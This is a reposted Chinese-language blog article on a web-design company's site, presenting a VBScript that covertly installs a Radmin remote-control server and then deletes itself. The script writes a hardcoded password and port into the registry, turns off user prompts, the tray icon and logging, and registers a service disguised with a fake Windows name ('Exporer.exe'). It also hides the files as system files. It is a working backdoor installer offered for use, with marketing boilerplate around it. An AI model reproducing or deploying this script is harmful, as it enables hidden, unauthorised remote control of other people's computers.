這篇文章主要為大家展示了“Vbs腳本如何實(shí)現(xiàn)radmin刪除自身”，內(nèi)容簡而易懂，條理清晰，希望能夠幫助大家解決疑惑，下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“Vbs腳本如何實(shí)現(xiàn)radmin刪除自身”這篇文章吧。

成都創(chuàng)新互聯(lián)公司服務(wù)項(xiàng)目包括新建網(wǎng)站建設(shè)、新建網(wǎng)站制作、新建網(wǎng)頁制作以及新建網(wǎng)絡(luò)營銷策劃等。多年來，我們專注于互聯(lián)網(wǎng)行業(yè)，利用自身積累的技術(shù)優(yōu)勢、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等，向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案，新建網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前，我們服務(wù)的客戶以成都為中心已經(jīng)輻射到新建省份的部分城市，未來相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任！

代碼如下:

on error resume next  
const HKEY_LOCAL_MACHINE = &H80000002  
strComputer = "."  
Set StdOut = WScript.StdOut  
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_   
strComputer & "\root\default:StdRegProv")  
strKeyPath = "SYSTEM\RAdmin"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\iplist"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"  
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath  
Set objRegistry = GetObject("Winmgmts:root\default:StdRegProv")  
strPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)  
uBinary = Array(1,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)  
uBinary = Array(0,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)  
uBinary = Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)        //此為注冊表導(dǎo)出十六進(jìn)制轉(zhuǎn)為十進(jìn)制數(shù)據(jù) pass:241241241  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)    //Radmin密碼  
uBinary = Array(5,4,0,0)      //端口：1029  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)  
uBinary = Array(10,0,0,0)  
Return = objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)  
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &strComputer &"\root\default:StdRegProv")  
strKeyPath = "SYSTEM\RAdmin\v2.0\Server\Parameters"  
strValueName = "LogFilePath"  
strValue = "c:\logfile.txt"  
set wshshell=createobject ("wscript.shell")  
a=wshshell.run ("sc.exe create WinManageHelp binpath= %systemroot%\system32\Exporer.exe start= auto",0)  
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &strComputer &"\root\default:StdRegProv")  
strKeyPath = "SYSTEM\ControlSet001\Services\WinManageHelp"  
strValueName = "Description"  
strValue = "Windows Media PlayerWindows Management Instrumentation Player Drivers."  
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
strValueName = "DisplayName"  
strValue = "Windows Management Instrumentation Player Drivers"  
oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
strValueName = "ImagePath"  
strValue = "c:\windows\system32\Exporer.exe /service"  
oReg.SetExpandedStringValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue  
set wshshell=createobject ("wscript.shell")  
a=wshshell.run ("net start WinManageHelp",0)  
b=wshshell.run ("attrib +r +h +s %systemroot%\system32\exporer.exe",0)  
c=wshshell.run ("attrib +r +h +s %systemroot%\system32\AdmDll.dll",0)  
d=wshshell.run ("attrib +r +h +s %systemroot%\system32\raddrv.dll",0)  
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)    //自刪除

好的刪除代碼不錯(cuò)

createobject("scripting.filesystemobject").deletefile(script.scriptname)

以上是“Vbs腳本如何實(shí)現(xiàn)radmin刪除自身”這篇文章的所有內(nèi)容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內(nèi)容對大家有所幫助，如果還想學(xué)習(xí)更多知識(shí)，歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道！

文章題目：Vbs腳本如何實(shí)現(xiàn)radmin刪除自身-創(chuàng)新互聯(lián)
當(dāng)前網(wǎng)址：http://sd-ha.com/article6/dcegog.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供全網(wǎng)營銷推廣、搜索引擎優(yōu)化、App開發(fā)、網(wǎng)站策劃、網(wǎng)站建設(shè)、網(wǎng)站維護(hù)

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來源： 創(chuàng)新互聯(lián)